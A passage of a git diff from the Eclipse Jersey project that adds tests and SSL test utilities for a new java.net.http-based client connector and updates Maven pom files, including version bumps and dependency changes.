+import org.glassfish.jersey.client.ClientProperties;
+import org.junit.jupiter.api.Test;
+
+import static org.assertj.core.api.Assertions.assertThat;
+
+/**
+ * Checks that the connector provider correctly handles redirects.
+ */
+public class RedirectTest extends AbstractJavaConnectorTest {
+    /**
+     * Checks, that without further configuration redirects are taken.
+     */
+    @Test
+    public void testRedirect() {
+        assertThat(this.request("java-connector/redirect").readEntity(String.class)).isEqualTo("Hello World!");
+    }
+
+    /**
+     * Checks, that no redirect happens, if the redirects are switched off.
+     */
+    @Test
+    public void testNotFollowRedirects() {
+        Response response = target().path("java-connector").path("redirect")
+                .property(ClientProperties.FOLLOW_REDIRECTS, false)
+                .request()
+                .get();
+        assertThat(response.getStatus()).isEqualTo(Response.Status.SEE_OTHER.getStatusCode());
+    }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RetrieveHttpClientFromConnectorProviderTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RetrieveHttpClientFromConnectorProviderTest.java
new file mode 100644
index 0000000..8592bd7
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RetrieveHttpClientFromConnectorProviderTest.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.junit.jupiter.api.Test;
+
+import java.net.http.HttpClient;
+
+import static org.assertj.core.api.Assertions.assertThat;
+
+/**
+ * Tests access to the {@link HttpClient} instance provided from the {@link JavaNetHttpConnectorProvider}.
+ */
+public class RetrieveHttpClientFromConnectorProviderTest extends AbstractJavaConnectorTest {
+    /**
+     * Checks, that the {@link jakarta.ws.rs.client.Client} and {@link jakarta.ws.rs.client.WebTarget} instances
+     * correctly return the internally used {@link HttpClient}.
+     */
+    @Test
+    public void testClientUsesJavaConnector() {
+        assertThat(JavaNetHttpConnectorProvider.getHttpClient(client())).isInstanceOf(HttpClient.class);
+        assertThat(JavaNetHttpConnectorProvider.getHttpClient(target())).isInstanceOf(HttpClient.class);
+        assertThat(JavaNetHttpConnectorProvider.getHttpClient(client()))
+                .isEqualTo(JavaNetHttpConnectorProvider.getHttpClient(target()));
+    }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/SslUtils.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/SslUtils.java
new file mode 100644
index 0000000..469959a
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/SslUtils.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import javax.net.ssl.KeyManager;
+import javax.net.ssl.KeyManagerFactory;
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.TrustManager;
+import javax.net.ssl.TrustManagerFactory;
+import java.io.InputStream;
+import java.security.KeyStore;
+
+public final class SslUtils {
+
+    private static final String SERVER_IDENTITY_PATH = "server-identity.jks";
+    private static final char[] SERVER_IDENTITY_PASSWORD = "secret".toCharArray();
+    private static final String SERVER_TRUSTSTORE_PATH = "server-truststore.jks";
+    private static final char[] SERVER_TRUSTSTORE_PASSWORD = "secret".toCharArray();
+
+    private static final String CLIENT_IDENTITY_PATH = "client-identity.jks";
+    private static final char[] CLIENT_IDENTITY_PASSWORD = "secret".toCharArray();
+    private static final String CLIENT_TRUSTSTORE_PATH = "client-truststore.jks";
+    private static final char[] CLIENT_TRUSTSTORE_PASSWORD = "secret".toCharArray();
+
+    private static final String KEYSTORE_TYPE = "PKCS12";
+
+    private SslUtils() {}
+
+    public static SSLContext createServerSslContext(boolean includeKeyMaterial, boolean includeTrustMaterial) {
+        return createSslContext(
+                includeKeyMaterial,
+                includeTrustMaterial,
+                SERVER_IDENTITY_PATH,
+                SERVER_IDENTITY_PASSWORD,
+                SERVER_TRUSTSTORE_PATH,
+                SERVER_TRUSTSTORE_PASSWORD
+        );
+    }
+
+    public static SSLContext createClientSslContext(boolean includeKeyMaterial, boolean includeTrustMaterial) {
+        return createSslContext(
+                includeKeyMaterial,
+                includeTrustMaterial,
+                CLIENT_IDENTITY_PATH,
+                CLIENT_IDENTITY_PASSWORD,
+                CLIENT_TRUSTSTORE_PATH,
+                CLIENT_TRUSTSTORE_PASSWORD
+        );
+    }
+
+    private static SSLContext createSslContext(
+            boolean includeKeyMaterial,
+            boolean includeTrustMaterial,
+            String keyStorePath,
+            char[] keyStorePassword,
+            String trustStorePath,
+            char[] trustStorePassword) {
+
+        try {
+            KeyManager[] keyManagers = null;
+            TrustManager[] trustManagers = null;
+
+            if (includeKeyMaterial) {
+                keyManagers = createKeyManagers(keyStorePath, keyStorePassword);
+            }
+
+            if (includeTrustMaterial) {
+                trustManagers = createTrustManagers(trustStorePath, trustStorePassword);
+            }
+
+            SSLContext sslContext = SSLContext.getInstance("TLS");
+            sslContext.init(keyManagers, trustManagers, null);
+            return sslContext;
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private static TrustManager[] createTrustManagers(String keyStorePath, char[] keyStorePassword) throws Exception {
+        KeyStore trustStore = getKeyStore(keyStorePath, keyStorePassword);
+
+        TrustManagerFactory trustManagerFactory = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
+        trustManagerFactory.init(trustStore);
+        return trustManagerFactory.getTrustManagers();
+    }
+
+    private static KeyManager[] createKeyManagers(String keyStorePath, char[] keyStorePassword) throws Exception {
+        KeyStore keyStore = getKeyStore(keyStorePath, keyStorePassword);
+
+        KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
+        keyManagerFactory.init(keyStore, keyStorePassword);
+        return keyManagerFactory.getKeyManagers();
+    }
+
+    private static KeyStore getKeyStore(String path, char[] keyStorePassword) throws Exception {
+        try (InputStream inputStream = getResource(path)) {
+            KeyStore keyStore = KeyStore.getInstance(KEYSTORE_TYPE);
+            keyStore.load(inputStream, keyStorePassword);
+            return keyStore;
+        }
+    }
+
+    private static InputStream getResource(String path) {
+        return SslUtils.class.getClassLoader().getResourceAsStream(path);
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TimeoutTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TimeoutTest.java
new file mode 100644
index 0000000..b32f122
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TimeoutTest.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import java.net.URI;
+import java.net.http.HttpTimeoutException;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertInstanceOf;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class TimeoutTest extends JerseyTest {
+    private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
+
+    @Path("/test")
+    public static class TimeoutResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @GET
+        @Path("timeout")
+        public String getTimeout() {
+            try {
+                Thread.sleep(2000);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            return "GET";
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+    }
+
+    @Test
+    public void testFast() {
+        Response r = target("test").request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+    }
+
+    @Test
+    public void testSlow() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/timeout").request().get();
+            fail("Timeout expected.");
+        } catch (ProcessingException e) {
+            assertInstanceOf(HttpTimeoutException.class, e.getCause(),
+                    "Unexpected processing exception cause");
+        } finally {
+            c.close();
+        }
+    }
+
+    @Test
+    public void testTimeoutInRequest() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig();
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get();
+            fail("Timeout expected.");
+        } catch (ProcessingException e) {
+            assertInstanceOf(HttpTimeoutException.class, e.getCause(),
+                    "Unexpected processing exception cause");
+        } finally {
+            c.close();
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TraceSupportTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TraceSupportTest.java
new file mode 100644
index 0000000..b8a079a
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TraceSupportTest.java
@@ -0,0 +1,230 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.process.Inflector;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.model.Resource;
+import org.glassfish.jersey.test.JerseyTest;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.List;
+import java.util.Map;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Request;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class TraceSupportTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
+
+    /**
+     * Programmatic tracing root resource path.
+     */
+    public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
+
+    /**
+     * Annotated class-based tracing root resource path.
+     */
+    public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
+
+    @HttpMethod(TRACE.NAME)
+    @Target(ElementType.METHOD)
+    @Retention(RetentionPolicy.RUNTIME)
+    public @interface TRACE {
+        public static final String NAME = "TRACE";
+    }
+
+    @Path(ROOT_PATH_ANNOTATED)
+    public static class TracingResource {
+
+        @TRACE
+        @Produces("text/plain")
+        public String trace(Request request) {
+            return stringify((ContainerRequest) request);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(TracingResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
+        resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() {
+
+            @Override
+            public Response apply(ContainerRequestContext request) {
+                if (request == null) {
+                    return Response.noContent().build();
+                } else {
+                    return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
+                }
+            }
+        });
+
+        return config.registerResources(resourceBuilder.build());
+
+    }
+
+    private String[] expectedFragmentsProgrammatic = new String[]{
+        "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
+    };
+    private String[] expectedFragmentsAnnotated = new String[]{
+        "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
+    };
+
+    private WebTarget prepareTarget(String path) {
+        final WebTarget target = target();
+        target.register(LoggingFeature.class);
+        return target.path(path);
+    }
+
+    @Test
+    public void testProgrammaticApp() throws Exception {
+        Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
+
+        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+        String responseEntity = response.readEntity(String.class);
+        for (String expectedFragment : expectedFragmentsProgrammatic) {
+            assertTrue(
+                    // toLowerCase - http header field names are case insensitive
+                    responseEntity.contains(expectedFragment), "Expected fragment '"
+                            + expectedFragment + "' not found in response:\n" + responseEntity);
+        }
+    }
+
+    @Test
+    public void testAnnotatedApp() throws Exception {
+        Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
+
+        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+        String responseEntity = response.readEntity(String.class);
+        for (String expectedFragment : expectedFragmentsAnnotated) {
+            assertTrue(responseEntity.contains(expectedFragment),
+                    // toLowerCase - http header field names are case insensitive
+                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+        }
+    }
+
+    @Test
+    public void testTraceWithEntity() throws Exception {
+        _testTraceWithEntity(false, false);
+    }
+
+    @Test
+    public void testAsyncTraceWithEntity() throws Exception {
+        _testTraceWithEntity(true, false);
+    }
+
+    @Test
+    public void testTraceWithEntityJettyConnector() throws Exception {
+        _testTraceWithEntity(false, true);
+    }
+
+    @Test
+    public void testAsyncTraceWithEntityJettyConnector() throws Exception {
+        _testTraceWithEntity(true, true);
+    }
+
+    private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception {
+        try {
+            WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target();
+            target = target.path(ROOT_PATH_ANNOTATED);
+
+            final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
+
+            Response response;
+            if (!isAsync) {
+                response = target.request().method(TRACE.NAME, entity);
+            } else {
+                response = target.request().async().method(TRACE.NAME, entity).get();
+            }
+
+            fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
+        } catch (Exception e) {
+            // OK
+        }
+    }
+
+    private Client getJettyClient() {
+        return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JavaNetHttpConnectorProvider()));
+    }
+
+
+    public static String stringify(ContainerRequest request) {
+        StringBuilder buffer = new StringBuilder();
+
+        printRequestLine(buffer, request);
+        printPrefixedHeaders(buffer, request.getHeaders());
+
+        if (request.hasEntity()) {
+            buffer.append(request.readEntity(String.class)).append("\n");
+        }
+
+        return buffer.toString();
+    }
+
+    private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
+        buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
+    }
+
+    private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) {
+        for (Map.Entry<String, List<String>> e : headers.entrySet()) {
+            List<String> val = e.getValue();
+            String header = e.getKey();
+
+            if (val.size() == 1) {
+                buffer.append(header).append(": ").append(val.get(0)).append("\n");
+            } else {
+                StringBuilder sb = new StringBuilder();
+                boolean add = false;
+                for (String s : val) {
+                    if (add) {
+                        sb.append(',');
+                    }
+                    add = true;
+                    sb.append(s);
+                }
+                buffer.append(header).append(": ").append(sb.toString()).append("\n");
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/UnderlyingHttpClientAccessTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/UnderlyingHttpClientAccessTest.java
new file mode 100644
index 0000000..8bf9f46
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/UnderlyingHttpClientAccessTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+
+import java.net.http.HttpClient;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertSame;
+
+public class UnderlyingHttpClientAccessTest {
+
+    @Test
+    public void testHttpClientInstanceAccess() {
+        final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JavaNetHttpConnectorProvider()));
+        final HttpClient hcOnClient = JavaNetHttpConnectorProvider.getHttpClient(client);
+        // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
+        // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
+        // connector provider's static getHttpClient method above.
+        final WebTarget target = client.target("http://localhost/");
+        final HttpClient hcOnTarget = JavaNetHttpConnectorProvider.getHttpClient(target);
+
+        assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
+        assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
+        assertSame(hcOnClient, hcOnTarget,
+                "HTTP client instance set on JerseyClient should be the same instance as the one set on JerseyWebTarget"
+                   + "(provided the target instance has not been further configured)."
+        );
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/resources/client-identity.jks b/connectors/jnh-connector/src/test/resources/client-identity.jks
new file mode 100644
index 0000000..d3922a1
--- /dev/null
+++ b/connectors/jnh-connector/src/test/resources/client-identity.jks
Binary files differ
diff --git a/connectors/jnh-connector/src/test/resources/client-truststore.jks b/connectors/jnh-connector/src/test/resources/client-truststore.jks
new file mode 100644
index 0000000..539185f
--- /dev/null
+++ b/connectors/jnh-connector/src/test/resources/client-truststore.jks
Binary files differ
diff --git a/connectors/jnh-connector/src/test/resources/server-identity.jks b/connectors/jnh-connector/src/test/resources/server-identity.jks
new file mode 100644
index 0000000..76a21aa
--- /dev/null
+++ b/connectors/jnh-connector/src/test/resources/server-identity.jks
Binary files differ
diff --git a/connectors/jnh-connector/src/test/resources/server-truststore.jks b/connectors/jnh-connector/src/test/resources/server-truststore.jks
new file mode 100644
index 0000000..22285ab
--- /dev/null
+++ b/connectors/jnh-connector/src/test/resources/server-truststore.jks
Binary files differ
diff --git a/connectors/netty-connector/pom.xml b/connectors/netty-connector/pom.xml
index 0d4ed01..cd3b9b2 100644
--- a/connectors/netty-connector/pom.xml
+++ b/connectors/netty-connector/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2016, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2016, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-netty-connector</artifactId>
@@ -85,7 +85,7 @@
         <profile>
             <id>JettyExclude</id>
             <activation>
-                <jdk>1.8</jdk>
+                <jdk>(1.8,17)</jdk>
             </activation>
             <build>
                 <plugins>
diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyExpectContinueHandler.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyExpectContinueHandler.java
index 8bceac6..bdede02 100644
--- a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyExpectContinueHandler.java
+++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyExpectContinueHandler.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -59,7 +59,8 @@
                 ctx.pipeline().remove(JerseyExpectContinueHandler.class);
             }
         } else {
-            if (!isExpected) {
+            if (!isExpected
+                    && ctx.pipeline().context(JerseyExpectContinueHandler.class) != null) {
                 ctx.pipeline().remove(JerseyExpectContinueHandler.class);
             }
             ctx.fireChannelRead(msg); //bypass the message to the next handler in line
diff --git a/connectors/pom.xml b/connectors/pom.xml
index a48065d..523b797 100644
--- a/connectors/pom.xml
+++ b/connectors/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.connectors</groupId>
@@ -41,6 +41,8 @@
         <module>jdk-connector</module>
         <module>jetty-connector</module>
         <module>jetty-http2-connector</module>
+        <module>jetty11-connector</module>
+        <module>jnh-connector</module>
         <module>netty-connector</module>
     </modules>
 
diff --git a/containers/glassfish/jersey-gf-ejb/pom.xml b/containers/glassfish/jersey-gf-ejb/pom.xml
index d388b7e..fe26a11 100644
--- a/containers/glassfish/jersey-gf-ejb/pom.xml
+++ b/containers/glassfish/jersey-gf-ejb/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers.glassfish</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-gf-ejb</artifactId>
@@ -61,6 +61,26 @@
             <version>${project.version}</version>
             <scope>provided</scope>
         </dependency>
+        <!-- TODO remove versions when org.glassfish.exousia:exousia:jar in central-->
+        <dependency>
+            <groupId>org.glassfish.main.ejb</groupId>
+            <artifactId>ejb-container</artifactId>
+            <version>6.0.0</version>
+            <scope>provided</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.main.common</groupId>
+            <artifactId>container-common</artifactId>
+            <version>6.0.0</version>
+            <scope>provided</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.main.hk2</groupId>
+            <artifactId>hk2-config</artifactId>
+            <version>6.0.0</version>
+            <scope>provided</scope>
+            <optional>true</optional>
+        </dependency>
     </dependencies>
 
     <build>
@@ -111,59 +131,4 @@
             </plugin>
         </plugins>
     </build>
-
-    <profiles>
-        <profile>
-            <id>jdk8</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.glassfish.main.ejb</groupId>
-                    <artifactId>ejb-container</artifactId>
-                    <version>6.0.0</version>
-                    <scope>provided</scope>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.main.common</groupId>
-                    <artifactId>container-common</artifactId>
-                    <version>6.0.0</version>
-                    <scope>provided</scope>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.main.hk2</groupId>
-                    <artifactId>hk2-config</artifactId>
-                    <version>6.0.0</version>
-                    <scope>provided</scope>
-                    <optional>true</optional>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
-            <id>jdk11</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.glassfish.main.ejb</groupId>
-                    <artifactId>ejb-container</artifactId>
-                    <scope>provided</scope>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.main.common</groupId>
-                    <artifactId>container-common</artifactId>
-                    <scope>provided</scope>
-                </dependency>
-                <dependency>
-                    <groupId>org.glassfish.main.hk2</groupId>
-                    <artifactId>hk2-config</artifactId>
-                    <scope>provided</scope>
-                    <optional>true</optional>
-                </dependency>
-            </dependencies>
-        </profile>
-    </profiles>
-
-</project>
+ </project>
diff --git a/containers/glassfish/pom.xml b/containers/glassfish/pom.xml
index e7f1668..718cc86 100644
--- a/containers/glassfish/pom.xml
+++ b/containers/glassfish/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.containers.glassfish</groupId>
diff --git a/containers/grizzly2-http/pom.xml b/containers/grizzly2-http/pom.xml
index c8a2bb6..e98c1eb 100644
--- a/containers/grizzly2-http/pom.xml
+++ b/containers/grizzly2-http/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
